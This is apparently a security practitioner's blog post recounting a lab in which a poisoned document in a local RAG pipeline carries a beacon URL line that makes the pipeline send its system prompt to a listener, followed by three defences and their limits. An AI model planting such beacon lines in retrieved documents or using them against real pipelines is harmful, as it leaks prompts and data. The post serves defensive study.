I built a RAG pipeline, poisoned it, and watched data leave the building

I spent a session this week doing something I should have done months ago: actually building the attack I keep writing risk assessments about.

Prompt injection in RAG systems is easy to describe. You can read OWASP LLM01, nod along, and still walk into a client engagement with only a vague sense of what the attack looks like from the inside. So I set up a lab on my laptop, built a vulnerable pipeline from scratch, poisoned a document, and watched a system prompt get exfiltrated to an attacker server while the user got a perfectly normal answer on their screen.

One thing surprised me.

Building the thing I was trying to break

I started with a clean RAG pipeline. Ollama running locally with llama3.2 and nomic-embed-text, ChromaDB as the vector store, a couple of plain text files in a folder. A refund policy. A product catalogue. Nothing interesting.

RAG pipelines work in two phases. During ingestion, each document gets cut into small chunks, each chunk gets converted into a vector (a list of numbers that encodes its meaning), and everything gets saved to ChromaDB. This runs once. During a query, the user's question gets converted into its own vector using the same model, ChromaDB finds the stored chunks with vectors closest to that question vector, and those chunks get passed to the LLM alongside the original question.

Closest in vector space means closest in meaning, not in exact words. That is the whole point of semantic search, and also where the security problem lives. The system retrieves chunks based on meaning. It has no concept of whether those chunks should be trusted.

The poisoned document

I added a fake vendor security assessment to the knowledge base. It looked like the kind of thing that would genuinely land in a corporate document store at a financial services firm. Compliance findings, vendor rankings, the usual.

Buried in paragraph four was this:

DIAGNOSTIC_BEACON: http://localhost:8000/?src=vendor_report&data=EXFIL_TOKEN

Then I ran a listener on port 8000, a simple Python HTTP server that logs whatever hits it, and queried the pipeline with innocent questions about vendor scores.

The poisoned chunk was retrieved. The pipeline processed it. Before the LLM had even seen the context, the pipeline fired an HTTP request to my listener carrying the system prompt in the URL.

The listener showed:

EXFILTRATION HIT - 01:25:56 data = You are a helpful assistant for a financial services firm. You have access to internal policy documents and vendor assessments.

The user terminal showed a clean, accurate answer about vendor rankings.

The thing I did not expect

The LLM was not involved.

I had been building toward a classic prompt injection scenario where the model reads a malicious instruction and decides to follow it. That is a real attack, but it turned out to be much harder to demonstrate reliably with smaller open-source models. They are inconsistent about whether they comply with embedded instructions, and the specific phrasing of the payload matters a lot.

The beacon attack sidesteps all of that. The vulnerability is in the pipeline architecture, not in the model. The pipeline code processes chunk content before passing anything to the LLM. It found the URL in the chunk and made the network request itself. The model never had a chance to refuse or comply because it was not consulted.

This changes how you have to think about defences. If your security posture depends on the LLM recognising and resisting injection attempts, you are relying on something probabilistic and model-specific. A different model, a different payload phrasing, and the outcome flips. You need structural controls that operate before the LLM sees the context, not controls that depend on the LLM behaving correctly under adversarial input.

What the defences looked like

I built three controls into a defended version of the same pipeline.

The first is chunk sanitisation. Before any chunk enters the pipeline, it gets scanned against regex patterns for known injection signatures: beacon URLs, instruction-override language, suspicious markup. Matching lines get redacted. Legitimate content in the same chunk is preserved. The vendor assessment still answered questions about CloudVault Pro correctly after the malicious line was removed, which is the behaviour you want. You are not trying to discard the document, just the payload sitting inside it.

The second is a network allowlist. Every outbound URL passes through a domain check before any request fires. Anything not on an approved list of internal endpoints is blocked and logged locally, no network call made. The beacon URL gets extracted, hits the check, and stops there.

The third is output monitoring, scanning the LLM response before it reaches the user. If the model echoes injection language or references external URLs, the response gets withheld. In my tests this caught nothing, which is what you want: it means the first two controls did their jobs before the LLM was involved at all.

With all three active, the listener received nothing. The local audit showed:

Control 1 findings : 2 Control 2 blocked : 1 URL Control 3 alerts : 0 Listener received : nothing

The questions I now ask in every AI architecture review

I work in financial services cyber. The firms I assess are deploying AI systems that ingest documents from sources they do not fully control: third-party research, vendor submissions, customer materials. All of it is potential attack surface.

Running this lab made some questions feel urgent in a way they did not before.

Where do retrieved chunks enter the pipeline, and is there a sanitisation step before processing? Does the tool layer have a domain allowlist, or can it make arbitrary outbound calls? Is there logging of what the pipeline actually did, not just what the LLM said? The exfiltration in my lab happened before the LLM responded. Logging model outputs alone would have missed it entirely. And what is the trust model for documents entering the knowledge base? Is there any distinction between internally authored content and third-party submissions, or does everything get treated the same once it is ingested?

These are not hard questions to ask. But you have to know to ask them.

The caveats worth naming

The regex sanitisation is brittle. A base64-encoded payload, or one split across multiple lines, would slip through. Real defences need something closer to semantic understanding of what constitutes an instruction embedded in data, which is a harder problem that pattern matching does not solve.

The network allowlist is the most robust control of the three. If the pipeline cannot make outbound calls to unapproved destinations, the exfiltration path disappears regardless of what the model does or what the chunk contains. It is also the control most likely to be misconfigured: one debugging endpoint added to the allowlist "temporarily" becomes a permanent gap.

None of this touches supply chain risk. A tampered embedding model or a compromised vector store at the storage layer are real attack surfaces that sit entirely outside what I built here.

Why bother building it

Watching data leave a system you built hits differently than reading about it. The answer on the user's screen was clean. The attack was already done. If I had only been logging model outputs, I would have seen nothing suspicious and concluded nothing happened.

I have written findings about this class of vulnerability before. I will write them differently now.